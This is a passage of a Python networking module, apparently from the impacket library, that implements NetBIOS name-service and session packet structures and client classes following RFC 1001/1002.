import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nimport errno\nimport re\nimport select\nimport socket\nimport string\nimport time\nimport random\nfrom struct import pack, unpack\nfrom six import byte2int, indexbytes, b\n\nfrom impacket.structure import Structure\n\n# Our random number generator\ntry:\n    rand = random.SystemRandom()\nexcept NotImplementedError:\n    rand = random\n    pass\n\n\n################################################################################\n# CONSTANTS\n################################################################################\n# Taken from socket module reference\nINADDR_ANY = '0.0.0.0'\nBROADCAST_ADDR = '<broadcast>'\n\n# Default port for NetBIOS name service\nNETBIOS_NS_PORT = 137\n# Default port for NetBIOS session service\nNETBIOS_SESSION_PORT = 139\n\n# Default port for SMB session service\nSMB_SESSION_PORT = 445\n\n# Owner Node Type Constants\nNODE_B = 0x0000\nNODE_P = 0x2000\nNODE_M = 0x4000\nNODE_RESERVED = 0x6000\nNODE_GROUP = 0x8000\nNODE_UNIQUE = 0x0\n\n# Name Type Constants\nTYPE_UNKNOWN = 0x01\nTYPE_WORKSTATION = 0x00\nTYPE_CLIENT = 0x03\nTYPE_SERVER = 0x20\nTYPE_DOMAIN_MASTER = 0x1B\nTYPE_DOMAIN_CONTROLLER = 0x1C\nTYPE_MASTER_BROWSER = 0x1D\nTYPE_BROWSER = 0x1E\nTYPE_NETDDE  = 0x1F\nTYPE_STATUS = 0x21\n\n# Opcodes values\nOPCODE_QUERY = 0\nOPCODE_REGISTRATION = 0x5 << 11\nOPCODE_RELEASE = 0x6 << 11\nOPCODE_WACK = 0x7 << 11\nOPCODE_REFRESH = 0x8 << 11\nOPCODE_REQUEST = 0 << 11\nOPCODE_RESPONSE = 0x10 << 11\n\n# NM_FLAGS\nNM_FLAGS_BROADCAST = 0x1 << 4\nNM_FLAGS_UNICAST = 0 << 4\nNM_FLAGS_RA = 0x8 << 4\nNM_FLAGS_RD = 0x10 << 4\nNM_FLAGS_TC = 0x20 << 4\nNM_FLAGS_AA = 0x40 << 4\n\n# QUESTION_TYPE\nQUESTION_TYPE_NB = 0x20     # NetBIOS general Name Service Resource Record\nQUESTION_TYPE_NBSTAT = 0x21 # NetBIOS NODE STATUS Resource Record\n# QUESTION_CLASS\nQUESTION_CLASS_IN = 0x1     # Internet class\n\n# RESOURCE RECORD RR_TYPE field definitions\nRR_TYPE_A = 0x1             # IP address Resource Record\nRR_TYPE_NS = 0x2            # Name Server Resource Record\nRR_TYPE_NULL = 0xA          # NULL Resource Record\nRR_TYPE_NB = 0x20           # NetBIOS general Name Service Resource Record\nRR_TYPE_NBSTAT = 0x21       # NetBIOS NODE STATUS Resource Record\n\n# RESOURCE RECORD RR_CLASS field definitions\nRR_CLASS_IN = 1             # Internet class\n\n# RCODE values\nRCODE_FMT_ERR   = 0x1       # Format Error.  Request was invalidly formatted.\nRCODE_SRV_ERR   = 0x2       # Server failure.  Problem with NBNS, cannot process name.\nRCODE_IMP_ERR   = 0x4       # Unsupported request error.  Allowable only for challenging NBNS when gets an Update type\n                            # registration request.\nRCODE_RFS_ERR   = 0x5       # Refused error.  For policy reasons server will not register this name from this host.\nRCODE_ACT_ERR   = 0x6       # Active error.  Name is owned by another node.\nRCODE_CFT_ERR   = 0x7       # Name in conflict error.  A UNIQUE name is owned by more than one node.\n\n# NAME_FLAGS\nNAME_FLAGS_PRM = 0x0200       # Permanent Name Flag.  If one (1) then entry is for the permanent node name.  Flag is zero\n                              # (0) for all other names.\nNAME_FLAGS_ACT = 0x0400       # Active Name Flag.  All entries have this flag set to one (1).\nNAME_FLAG_CNF  = 0x0800       # Conflict Flag.  If one (1) then name on this node is in conflict.\nNAME_FLAG_DRG  = 0x1000       # Deregister Flag.  If one (1) then this name is in the process of being deleted.\n\n# NB_FLAGS\nNB_FLAGS_ONT_B = 0\nNB_FLAGS_ONT_P = 1 << 13\nNB_FLAGS_ONT_M = 2 << 13\nNB_FLAGS_G     = 1 << 15\n\nNAME_TYPES = {TYPE_UNKNOWN: 'Unknown', TYPE_WORKSTATION: 'Workstation', TYPE_CLIENT: 'Client',\n              TYPE_SERVER: 'Server', TYPE_DOMAIN_MASTER: 'Domain Master', TYPE_DOMAIN_CONTROLLER: 'Domain Controller',\n              TYPE_MASTER_BROWSER: 'Master Browser', TYPE_BROWSER: 'Browser Server', TYPE_NETDDE: 'NetDDE Server',\n              TYPE_STATUS: 'Status'}\n\n# NetBIOS Session Types\nNETBIOS_SESSION_MESSAGE = 0x0\nNETBIOS_SESSION_REQUEST = 0x81\nNETBIOS_SESSION_POSITIVE_RESPONSE = 0x82\nNETBIOS_SESSION_NEGATIVE_RESPONSE = 0x83\nNETBIOS_SESSION_RETARGET_RESPONSE = 0x84\nNETBIOS_SESSION_KEEP_ALIVE = 0x85\n\n################################################################################\n# HELPERS\n################################################################################\ndef encode_name(name, nametype, scope):\n    # ToDo: Rewrite this simpler, we're using less than written\n    \"\"\"\n    Perform first and second level encoding of name as specified in RFC 1001 (Section 4)\n    \n    :param string name: the name to encode\n    :param integer nametype: the name type constants\n    :param string scope: the name's scope \n    \n    :return string/bytes: the encoded name.\n    \"\"\"\n    if name == '*':\n        name += '\\0' * 15\n    elif len(name) > 15:\n        name = name[:15] + chr(nametype)\n    else:\n        name = name.ljust(15) + chr(nametype)\n\n    encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name)\n\n    try:\n        if isinstance(encoded_name, unicode):\n            encoded_name = encoded_name.encode('utf-8')\n    except NameError:\n        pass\n    if scope:\n        encoded_scope = ''\n        for s in scope.split('.'):\n            encoded_scope = encoded_scope + chr(len(s)) + s\n\n        return b(encoded_name + encoded_scope) + b'\\0'\n    else:\n        return b(encoded_name) + b'\\0'\n\n# Internal method for use in encode_name()\ndef _do_first_level_encoding(m):\n    s = ord(m.group(0))\n    return string.ascii_uppercase[s >> 4] + string.ascii_uppercase[s & 0x0f]\n\ndef decode_name(name):\n    # ToDo: Rewrite this simpler, we're using less than written\n    \"\"\"\n    Perform first and second level decoding of name as specified in RFC 1001 (Section 4)\n\n    :param string/bytes name: the name to decode\n\n    :return string: the decoded name.\n    \"\"\"\n\n    name_length = ord(name[0:1])\n    assert name_length == 32\n\n    decoded_name = re.sub('..', _do_first_level_decoding, name[1:33].decode('utf-8'))\n    if name[33:34] == b'\\0':\n        return 34, decoded_name, ''\n    else:\n        decoded_domain = ''\n        offset = 34\n        while 1:\n            domain_length = byte2int(name[offset:offset+1])\n            if domain_length == 0:\n                break\n            decoded_domain = '.' + name[offset:offset + domain_length].decode('utf-8')\n            offset += domain_length\n        return offset + 1, decoded_name, decoded_domain\n\ndef _do_first_level_decoding(m):\n    s = m.group(0)\n    return chr(((ord(s[0]) - ord('A')) << 4) | (ord(s[1]) - ord('A')))\n\nERRCLASS_QUERY = 0x00\nERRCLASS_SESSION = 0xf0\nERRCLASS_OS = 0xff\n\nQUERY_ERRORS = {0x01: 'Format Error. Request was invalidly formatted',\n                0x02: 'Server failure. Problem with NBNS, cannot process name.',\n                0x03: 'Name does not exist',\n                0x04: 'Unsupported request error.  Allowable only for challenging NBNS when gets an Update type registration request.',\n                0x05: 'Refused error.  For policy reasons server will not register this name from this host.',\n                0x06: 'Active error.  Name is owned by another node.',\n                0x07: 'Name in conflict error.  A UNIQUE name is owned by more than one node.',\n\n                }\n\nSESSION_ERRORS = {0x80: 'Not listening on called name',\n                  0x81: 'Not listening for calling name',\n                  0x82: 'Called name not present',\n                  0x83: 'Sufficient resources',\n                  0x8f: 'Unspecified error'\n                  }\n\nclass NetBIOSError(Exception):\n    def __init__(self, error_message='', error_class=None, error_code=None):\n        self.error_class = error_class\n        self.error_code = error_code\n        self.error_msg = error_message\n\n    def get_error_code(self):\n        return self.error\n\n    def getErrorCode(self):\n        return self.get_error_code()\n\n    def get_error_string(self):\n        return str(self)\n\n    def getErrorString(self):\n        return str(self)\n\n    def __str__(self):\n        if self.error_code is not None:\n            if self.error_code in QUERY_ERRORS:\n                return '%s-%s(%s)' % (self.error_msg, QUERY_ERRORS[self.error_code], self.error_code)\n            elif self.error_code in SESSION_ERRORS:\n                return '%s-%s(%s)' % (self.error_msg, SESSION_ERRORS[self.error_code], self.error_code)\n            else:\n                return '%s(%s)' % (self.error_msg, self.error_code)\n        else:\n            return '%s' % self.error_msg\n\nclass NetBIOSTimeout(Exception):\n    def __init__(self, message = 'The NETBIOS connection with the remote host timed out.'):\n        Exception.__init__(self, message)\n\n################################################################################\n# 4.2 NAME SERVER PACKETS\n################################################################################\nclass NBNSResourceRecord(Structure):\n    structure = (\n        ('RR_NAME','z=\\x00'),\n        ('RR_TYPE','>H=0'),\n        ('RR_CLASS','>H=0'),\n        ('TTL','>L=0'),\n        ('RDLENGTH','>H-RDATA'),\n        ('RDATA',':=\"\"'),\n    )\n\nclass NBNodeStatusResponse(NBNSResourceRecord):\n    def __init__(self, data = 0):\n        NBNSResourceRecord.__init__(self, data)\n        self.mac = b'00-00-00-00-00-00'\n        self.num_names = unpack('B', self['RDATA'][:1])[0]\n        self.entries = list()\n        data = self['RDATA'][1:]\n        for _ in range(self.num_names):\n            entry = NODE_NAME_ENTRY(data)\n            data = data[len(entry):]\n            self.entries.append(entry)\n        self.statistics = STATISTICS(data)\n        self.set_mac_in_hexa(self.statistics['UNIT_ID'])\n\n    def set_mac_in_hexa(self, data):\n        data_aux = u''\n        for d in bytearray(data):\n            if data_aux == '':\n                data_aux = '%02x' % d\n            else:\n                data_aux += '-%02x' % d\n        self.mac = data_aux.upper()\n\n    def get_mac(self):\n        return self.mac\n\n    def rawData(self):\n        res = pack('!B', self.num_names )\n        for i in range(0, self.num_names):\n            res += self.entries[i].getData()\n        res += self.statistics.getData() # (RFC 1002) 4.2.18.  NODE STATUS RESPONSE\n\nclass NBPositiveNameQueryResponse(NBNSResourceRecord):\n    def __init__(self, data = 0):\n        NBNSResourceRecord.__init__(self, data)\n        self.entries = [ ]\n        rdata = self['RDATA']\n        while len(rdata) > 0:\n            entry = ADDR_ENTRY(rdata)\n            rdata = rdata[len(entry):]\n            self.entries.append(socket.inet_ntoa(entry['NB_ADDRESS']))\n\n# 4.2.1.  GENERAL FORMAT OF NAME SERVICE PACKETS\nclass NAME_SERVICE_PACKET(Structure):\n    commonHdr = (\n        ('NAME_TRN_ID','>H=0'),\n        ('FLAGS','>H=0'),\n        ('QDCOUNT','>H=0'),\n        ('ANCOUNT','>H=0'),\n        ('NSCOUNT','>H=0'),\n        ('ARCOUNT','>H=0'),\n    )\n    structure = (\n        ('ANSWERS',':'),\n    )\n\n# 4.2.1.2.  QUESTION SECTION\nclass QUESTION_ENTRY(Structure):\n    commonHdr = (\n        ('QUESTION_NAME','z'),\n        ('QUESTION_TYPE','>H=0'),\n        ('QUESTION_CLASS','>H=0'),\n    )\n\n# 4.2.1.3.  RESOURCE RECORD\nclass RESOURCE_RECORD(Structure):\n    structure = (\n        ('RR_NAME','z=\\x00'),\n        ('RR_TYPE','>H=0'),\n        ('RR_CLASS','>H=0'),\n        ('TTL','>L=0'),\n        ('RDLENGTH','>H-RDATA'),\n        ('RDATA',':=\"\"'),\n    )\n\n# 4.2.2.  NAME REGISTRATION REQUEST\nclass NAME_REGISTRATION_REQUEST(NAME_SERVICE_PACKET):\n    structure = (\n        ('QUESTION_NAME', ':'),\n        ('QUESTION_TYPE', '>H=0'),\n        ('QUESTION_CLASS', '>H=0'),\n        ('RR_NAME',':', ),\n        ('RR_TYPE', '>H=0'),\n        ('RR_CLASS','>H=0'),\n        ('TTL', '>L=0'),\n        ('RDLENGTH', '>H=6'),\n        ('NB_FLAGS', '>H=0'),\n        ('NB_ADDRESS', '4s=b\"\"'),\n    )\n    def __init__(self, data=None):\n        NAME_SERVICE_PACKET.__init__(self,data)\n        self['FLAGS'] = OPCODE_REQUEST | NM_FLAGS_RD | OPCODE_REGISTRATION\n        self['QDCOUNT'] = 1\n        self['ANCOUNT'] = 0\n        self['NSCOUNT'] = 0\n        self['ARCOUNT'] = 1\n\n        self['QUESTION_TYPE'] = QUESTION_TYPE_NB\n        self['QUESTION_CLASS'] = QUESTION_CLASS_IN\n\n        self['RR_TYPE'] = RR_TYPE_NB\n        self['RR_CLASS'] = RR_CLASS_IN\n\n# 4.2.3.  NAME OVERWRITE REQUEST & DEMAND\nclass NAME_OVERWRITE_REQUEST(NAME_REGISTRATION_REQUEST):\n    def __init__(self, data=None):\n        NAME_REGISTRATION_REQUEST.__init__(self,data)\n        self['FLAGS'] = OPCODE_REQUEST | OPCODE_REGISTRATION\n        self['QDCOUNT'] = 1\n        self['ANCOUNT'] = 0\n        self['NSCOUNT'] = 0\n        self['ARCOUNT'] = 1\n\n# 4.2.4.  NAME REFRESH REQUEST\nclass NAME_REFRESH_REQUEST(NAME_REGISTRATION_REQUEST):\n    def __init__(self, data=None):\n        NAME_REGISTRATION_REQUEST.__init__(self,data)\n        self['FLAGS'] = OPCODE_REFRESH | 0x1\n        self['QDCOUNT'] = 1\n        self['ANCOUNT'] = 0\n        self['NSCOUNT'] = 0\n        self['ARCOUNT'] = 1\n\n# 4.2.5.  POSITIVE NAME REGISTRATION RESPONSE\n# 4.2.6.  NEGATIVE NAME REGISTRATION RESPONSE\n# 4.2.7.  END-NODE CHALLENGE REGISTRATION RESPONSE\nclass NAME_REGISTRATION_RESPONSE(NAME_REGISTRATION_REQUEST):\n    def __init__(self, data=None):\n        NAME_REGISTRATION_REQUEST.__init__(self,data)\n\n# 4.2.8.  NAME CONFLICT DEMAND\nclass NAME_CONFLICT_DEMAND(NAME_REGISTRATION_REQUEST):\n    def __init__(self, data=None):\n        NAME_REGISTRATION_REQUEST.__init__(self,data)\n\n# ToDo: 4.2.9.  NAME RELEASE REQUEST & DEMAND\n# ToDo: 4.2.10.  POSITIVE NAME RELEASE RESPONSE\n# ToDo: 4.2.11.  NEGATIVE NAME RELEASE RESPONSE\n\n# 4.2.12.  NAME QUERY REQUEST\nclass NAME_QUERY_REQUEST(NAME_SERVICE_PACKET):\n    structure = (\n        ('QUESTION_NAME', ':'),\n        ('QUESTION_TYPE', '>H=0'),\n        ('QUESTION_CLASS', '>H=0'),\n    )\n    def __init__(self, data=None):\n        NAME_SERVICE_PACKET.__init__(self,data)\n        self['FLAGS'] = OPCODE_REQUEST | OPCODE_REGISTRATION | NM_FLAGS_RD\n        self['RCODE'] = 0\n        self['QDCOUNT'] = 1\n        self['ANCOUNT'] = 0\n        self['NSCOUNT'] = 0\n        self['ARCOUNT'] = 0\n\n        self['QUESTION_TYPE'] = QUESTION_TYPE_NB\n        self['QUESTION_CLASS'] = QUESTION_CLASS_IN\n\n# 4.2.13.  POSITIVE NAME QUERY RESPONSE\nclass ADDR_ENTRY(Structure):\n    structure = (\n        ('NB_FLAGS', '>H=0'),\n        ('NB_ADDRESS', '4s=b\"\"'),\n    )\n\n# ToDo: 4.2.15.  REDIRECT NAME QUERY RESPONSE\n# ToDo: 4.2.16.  WAIT FOR ACKNOWLEDGEMENT (WACK) RESPONSE\n\n# 4.2.17.  NODE STATUS REQUEST\nclass NODE_STATUS_REQUEST(NAME_QUERY_REQUEST):\n    def __init__(self, data=None):\n        NAME_QUERY_REQUEST.__init__(self,data)\n\n        self['FLAGS'] = 0\n        self['QUESTION_TYPE'] = QUESTION_TYPE_NBSTAT\n\n# 4.2.18.  NODE STATUS RESPONSE\nclass NODE_NAME_ENTRY(Structure):\n    structure = (\n        ('NAME','15s=b\"\"'),\n        ('TYPE','B=0'),\n        ('NAME_FLAGS','>H'),\n    )\n\nclass STATISTICS(Structure):\n    structure = (\n        ('UNIT_ID','6s=b\"\"'),\n        ('JUMPERS','B'),\n        ('TEST_RESULT','B'),\n        ('VERSION_NUMBER','>H'),\n        ('PERIOD_OF_STATISTICS','>H'),\n        ('NUMBER_OF_CRCs','>H'),\n        ('NUMBER_ALIGNMENT_ERRORS','>H'),\n        ('NUMBER_OF_COLLISIONS','>H'),\n        ('NUMBER_SEND_ABORTS','>H'),\n        ('NUMBER_GOOD_SENDS','>L'),\n        ('NUMBER_GOOD_RECEIVES','>L'),\n        ('NUMBER_RETRANSMITS','>H'),\n        ('NUMBER_NO_RESOURCE_CONDITIONS','>H'),\n        ('NUMBER_FREE_COMMAND_BLOCKS','>H'),\n        ('TOTAL_NUMBER_COMMAND_BLOCKS','>H'),\n        ('MAX_TOTAL_NUMBER_COMMAND_BLOCKS','>H'),\n        ('NUMBER_PENDING_SESSIONS','>H'),\n        ('MAX_NUMBER_PENDING_SESSIONS','>H'),\n        ('MAX_TOTAL_SESSIONS_POSSIBLE','>H'),\n        ('SESSION_DATA_PACKET_SIZE','>H'),\n    )\n\nclass NetBIOS:\n    # Creates a NetBIOS instance without specifying any default NetBIOS domain nameserver.\n    # All queries will be sent through the servport.\n    def __init__(self, servport = NETBIOS_NS_PORT):\n        self.__servport = servport\n        self.__nameserver = None\n        self.__broadcastaddr = BROADCAST_ADDR\n        self.mac = b'00-00-00-00-00-00'\n\n    def _setup_connection(self, dstaddr):\n        port = rand.randint(10000, 60000)\n        af, socktype, proto, _canonname, _sa = socket.getaddrinfo(dstaddr, port, socket.AF_INET, socket.SOCK_DGRAM)[0]\n        s = socket.socket(af, socktype, proto)\n        has_bind = 1\n        for _i in range(0, 10):\n            # We try to bind to a port for 10 tries\n            try:\n                s.bind((INADDR_ANY, rand.randint(10000, 60000)))\n                s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n                has_bind = 1\n            except socket.error:\n                pass\n        if not has_bind:\n            raise NetBIOSError('Cannot bind to a good UDP port', ERRCLASS_OS, errno.EAGAIN)\n        self.__sock = s\n\n    def send(self, request, destaddr, timeout):\n        self._setup_connection(destaddr)\n\n        tries = 3\n        while 1:\n            try:\n                self.__sock.sendto(request.getData(), 0, (destaddr, self.__servport))\n                ready, _, _ = select.select([self.__sock.fileno()], [], [], timeout)\n                if not ready:\n                    if tries:\n                        # Retry again until tries == 0\n                        tries -= 1\n                    else:\n                        raise NetBIOSTimeout\n                else:\n                    try:\n                        data, _ = self.__sock.recvfrom(65536, 0)\n                    except Exception as e:\n                        raise NetBIOSError(\"recvfrom error: %s\" % str(e))\n                    self.__sock.close()\n                    res = NAME_SERVICE_PACKET(data)\n                    if res['NAME_TRN_ID'] == request['NAME_TRN_ID']:\n                        if (res['FLAGS'] & 0xf) > 0:\n                            raise NetBIOSError('Negative response', ERRCLASS_QUERY, res['FLAGS'] & 0xf)\n                        return res\n            except select.error as ex:\n                if ex.errno != errno.EINTR and ex.errno != errno.EAGAIN:\n                    raise NetBIOSError('Error occurs while waiting for response', ERRCLASS_OS, ex.errno)\n            except socket.error as ex:\n                raise NetBIOSError('Connection error: %s' % str(ex))\n\n    # Set the default NetBIOS domain nameserver.\n    def set_nameserver(self, nameserver):\n        self.__nameserver = nameserver\n\n    # Return the default NetBIOS domain nameserver, or None if none is specified.\n    def get_nameserver(self):\n        return self.__nameserver\n\n    # Set the broadcast address to be used for query.\n    def set_broadcastaddr(self, broadcastaddr):\n        self.__broadcastaddr = broadcastaddr\n\n    # Return the broadcast address to be used, or BROADCAST_ADDR if default broadcast address is used.   \n    def get_broadcastaddr(self):\n        return self.__broadcastaddr\n\n    # Returns a NBPositiveNameQueryResponse instance containing the host information for nbname.\n    # If a NetBIOS domain nameserver has been specified, it will be used for the query.\n    # Otherwise, the query is broadcasted on the broadcast address.\n    def gethostbyname(self, nbname, qtype = TYPE_WORKSTATION, scope = None, timeout = 1):\n        resp = self.name_query_request(nbname, self.__nameserver, qtype, scope, timeout)\n        return resp\n\n    # Returns a list of NBNodeEntry instances containing node status information for nbname.\n    # If destaddr contains an IP address, then this will become an unicast query on the destaddr.\n    # Raises NetBIOSTimeout if timeout (in secs) is reached.\n    # Raises NetBIOSError for other errors\n    def getnodestatus(self, nbname, destaddr = None, type = TYPE_WORKSTATION, scope = None, timeout = 1):\n        if destaddr:\n            return self.node_status_request(nbname, destaddr, type, scope, timeout)\n        else:\n            return self.node_status_request(nbname, self.__nameserver, type, scope, timeout)\n\n    def getnetbiosname(self, ip):\n        entries = self.getnodestatus('*',ip)\n        entries = [x for x in entries if x['TYPE'] == TYPE_SERVER]\n        return entries[0]['NAME'].strip().decode('latin-1')\n\n    def getmacaddress(self):\n        return self.mac\n\n    def name_registration_request(self, nbname, destaddr, qtype, scope, nb_flags=0, nb_address='0.0.0.0'):\n        netbios_name = nbname.upper()\n        qn_label = encode_name(netbios_name, qtype, scope)\n\n        p = NAME_REGISTRATION_REQUEST()\n        p['NAME_TRN_ID'] = rand.randint(1, 32000)\n        p['QUESTION_NAME'] = qn_label[:-1] + b'\\x00'\n        p['RR_NAME'] = qn_label[:-1] + b'\\x00'\n        p['TTL'] = 0xffff\n        p['NB_FLAGS'] = nb_flags\n        p['NB_ADDRESS'] = socket.inet_aton(nb_address)\n        if not destaddr:\n            p['FLAGS'] |= NM_FLAGS_BROADCAST\n            destaddr = self.__broadcastaddr\n\n        res = self.send(p, destaddr, 1)\n        return res\n\n    def name_query_request(self, nbname, destaddr = None, qtype = TYPE_SERVER, scope = None, timeout = 1):\n        netbios_name = nbname.upper()\n        qn_label = encode_name(netbios_name, qtype, scope)\n\n        p = NAME_QUERY_REQUEST()\n        p['NAME_TRN_ID'] = rand.randint(1, 32000)\n        p['QUESTION_NAME'] = qn_label[:-1] + b'\\x00'\n        p['FLAGS'] = NM_FLAGS_RD\n        if not destaddr:\n            p['FLAGS'] |= NM_FLAGS_BROADCAST\n\n            destaddr = self.__broadcastaddr\n\n        res = self.send(p, destaddr, timeout)\n        return NBPositiveNameQueryResponse(res['ANSWERS'])\n\n    def node_status_request(self, nbname, destaddr, type, scope, timeout):\n        netbios_name = nbname.upper()\n        qn_label = encode_name(netbios_name, type, scope)\n        p = NODE_STATUS_REQUEST()\n        p['NAME_TRN_ID'] = rand.randint(1, 32000)\n        p['QUESTION_NAME'] = qn_label[:-1] + b'\\x00'\n\n        if not destaddr:\n            p['FLAGS'] = NM_FLAGS_BROADCAST\n            destaddr = self.__broadcastaddr\n\n        res = self.send(p, destaddr, timeout)\n        answ = NBNodeStatusResponse(res['ANSWERS'])\n        self.mac = answ.get_mac()\n        return answ.entries\n\n################################################################################\n# 4.2 SESSION SERVICE PACKETS\n################################################################################\n\nclass NetBIOSSessionPacket:\n    def __init__(self, data=0):\n        self.type = 0x0\n        self.flags = 0x0\n        self.length = 0x0\n        if data == 0:\n            self._trailer = b''\n        else:\n            try:\n                self.type = indexbytes(data,0)\n                if self.type == NETBIOS_SESSION_MESSAGE:\n                    self.length = indexbytes(data,1) << 16 | (unpack('!H', data[2:4])[0])\n                else:\n                    self.flags = data[1]\n                    self.length = unpack('!H', data[2:4])[0]\n\n                self._trailer = data[4:]\n            except:\n                raise NetBIOSError('Wrong packet format ')\n\n    def set_type(self, type):\n        self.type = type\n\n    def get_type(self):\n        return self.type\n\n    def rawData(self):\n        if self.type == NETBIOS_SESSION_MESSAGE:\n            data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + self._trailer\n        else:\n            data = pack('!BBH', self.type, self.flags, self.length) + self._trailer\n        return data\n\n    def set_trailer(self, data):\n        self._trailer = data\n        self.length = len(data)\n\n    def get_length(self):\n        return self.length\n\n    def get_trailer(self):\n        return self._trailer\n        \nclass NetBIOSSession:\n    def __init__(self, myname, remote_name, remote_host, remote_type=TYPE_SERVER, sess_port=NETBIOS_SESSION_PORT,\n                 timeout=None, local_type=TYPE_WORKSTATION, sock=None):\n        \"\"\"\n\n        :param unicode myname: My local NetBIOS name\n        :param unicode remote_name: Remote NetBIOS name\n        :param unicode remote_host: Remote IP Address\n        :param integer remote_type: NetBIOS Host type\n        :param integer sess_port: Session port to connect (139,445)\n        :param integer timeout: Timeout for connection\n        :param integer local_type: My Local Host Type\n        :param socket sock: Socket for already established connection\n        \"\"\"\n        if len(myname) > 15:\n            self.__myname = myname[:15].upper()\n        else:\n            self.__myname = myname.upper()\n        self.__local_type = local_type\n\n        assert remote_name\n        # if destination port SMB_SESSION_PORT and remote name *SMBSERVER, we're changing it to its IP address\n        # helping solving the client mistake ;)\n        if remote_name == '*SMBSERVER' and sess_port == SMB_SESSION_PORT:\n            remote_name = remote_host\n\n        # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best\n\n        if remote_name == '*SMBSERVER':\n            nb = NetBIOS()\n            try:\n                res = nb.getnetbiosname(remote_host)\n            except:\n                res = None\n                pass\n\n            if res is not None:\n                remote_name = res\n\n        if len(remote_name) > 15:\n            self.__remote_name = remote_name[:15].upper()\n        else:\n            self.__remote_name = remote_name.upper()\n        self.__remote_type = remote_type\n        self.__remote_host = remote_host\n\n        if sock is not None:\n            # We are acting as a server\n            self._sock = sock\n        else:\n            self._sock = self._setup_connection((remote_host, sess_port), timeout)\n\n        if sess_port == NETBIOS_SESSION_PORT:\n            self._request_session(remote_type, local_type, timeout)\n\n    def _request_session(self, remote_type, local_type, timeout):\n        raise NotImplementedError('Not Implemented!')\n\n    def _setup_connection(self, peer, timeout=None):\n        raise NotImplementedError('Not Implemented!')\n\n    def get_myname(self):\n        return self.__myname\n\n    def get_mytype(self):\n        return self.__local_type\n\n    def get_remote_host(self):\n        return self.__remote_host\n\n    def get_remote_name(self):\n        return self.__remote_name\n\n    def get_remote_type(self):\n        return self.__remote_type\n\n    def close(self):\n        self._sock.close()\n\n    def get_socket(self):\n        return self._sock\n\nclass NetBIOSUDPSessionPacket(Structure):\n    TYPE_DIRECT_UNIQUE = 16\n    TYPE_DIRECT_GROUP  = 17\n\n    FLAGS_MORE_FRAGMENTS = 1\n    FLAGS_FIRST_FRAGMENT = 2\n    FLAGS_B_NODE         = 0\n\n    structure = (\n        ('Type','B=16'),    # Direct Unique Datagram\n        ('Flags','B=2'),    # FLAGS_FIRST_FRAGMENT\n        ('ID','<H'),\n        ('_SourceIP','>L'),\n        ('SourceIP','\"'),\n        ('SourcePort','>H=138'),\n        ('DataLegth','>H-Data'),\n        ('Offset','>H=0'),\n        ('SourceName','z'),\n        ('DestinationName','z'),\n        ('Data',':'),\n    )\n\n    def getData(self):\n        addr = self['SourceIP'].split('.')\n        addr = [int(x) for x in addr]\n        addr = (((addr[0] << 8) + addr[1] << 8) + addr[2] << 8) + addr[3]\n        self['_SourceIP'] = addr\n        return Structure.getData(self)\n\n    def get_trailer(self):\n        return self['Data']\n\nclass NetBIOSUDPSession(NetBIOSSession):\n    def _setup_connection(self, peer, timeout=None):\n        af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_DGRAM)[0]\n        sock = socket.socket(af, socktype, proto)\n        sock.connect(sa)\n\n        sock = socket.socket(af, socktype, proto)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind((INADDR_ANY, 138))\n        self.peer = peer\n        return sock\n\n    def _request_session(self, remote_type, local_type, timeout = None):\n        pass\n\n    def next_id(self):\n        if hasattr(self, '__dgram_id'):\n            answer = self.__dgram_id\n        else:\n            self.__dgram_id = rand.randint(1,65535)\n            answer = self.__dgram_id\n        self.__dgram_id += 1\n        return answer\n\n    def send_packet(self, data):\n        # Yes... I know...\n        self._sock.connect(self.peer)\n\n        p = NetBIOSUDPSessionPacket()\n        p['ID'] = self.next_id()\n        p['SourceIP'] = self._sock.getsockname()[0]\n        p['SourceName'] = encode_name(self.get_myname(), self.get_mytype(), '')[:-1]\n        p['DestinationName'] = encode_name(self.get_remote_name(), self.get_remote_type(), '')[:-1]\n        p['Data'] = data\n\n        self._sock.sendto(str(p), self.peer)\n        self._sock.close()\n\n        self._sock = self._setup_connection(self.peer)\n\n    def recv_packet(self, timeout = None):\n        # The next loop is a workaround for a bigger problem:\n        # When data reaches higher layers, the lower headers are lost,\n        # and with them, for example, the source IP. Hence, SMB users\n        # can't know where packets are coming from... we need a better\n        # solution, right now, we will filter everything except packets\n        # coming from the remote_host specified in __init__()\n\n        while 1:\n            data, peer = self._sock.recvfrom(8192)\n#            print \"peer: %r  self.peer: %r\" % (peer, self.peer)\n            if peer == self.peer:\n                break\n\n        return NetBIOSUDPSessionPacket(data)\n\nclass NetBIOSTCPSession(NetBIOSSession):\n    def __init__(self, myname, remote_name, remote_host, remote_type=TYPE_SERVER, sess_port=NETBIOS_SESSION_PORT,\n                 timeout=None, local_type=TYPE_WORKSTATION, sock=None, select_poll=False):\n        \"\"\"\n        \n        :param unicode myname: My local NetBIOS name\n        :param unicode remote_name: Remote NetBIOS name\n        :param unicode remote_host: Remote IP Address\n        :param integer remote_type: NetBIOS Host type\n        :param integer sess_port: Session port to connect (139,445)\n        :param integer timeout: Timeout for connection\n        :param integer local_type: My Local Host Type\n        :param socket sock: Socket for already established connection\n        :param boolean select_poll: Type of polling mechanism\n        \"\"\"\n        self.__select_poll = select_poll\n        if self.__select_poll:\n            self.read_function = self.polling_read\n        else:\n            self.read_function = self.non_polling_read\n        NetBIOSSession.__init__(self, myname, remote_name, remote_host, remote_type=remote_type, sess_port=sess_port,\n                                timeout=timeout, local_type=local_type, sock=sock)\n\n    def _setup_connection(self, peer, timeout=None):\n        try:\n            af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_STREAM)[0]\n            sock = socket.socket(af, socktype, proto)\n            oldtimeout = sock.gettimeout()\n            sock.settimeout(timeout)\n            sock.connect(sa)\n            sock.settimeout(oldtimeout)\n        except socket.error as e:\n            raise socket.error(\"Connection error (%s:%s)\" % (peer[0], peer[1]), e)\n        return sock\n\n    def send_packet(self, data):\n        p = NetBIOSSessionPacket()\n        p.set_type(NETBIOS_SESSION_MESSAGE)\n        p.set_trailer(data)\n        self._sock.sendall(p.rawData())\n\n    def recv_packet(self, timeout = None):\n        data = self.__read(timeout)\n        NBSPacket = 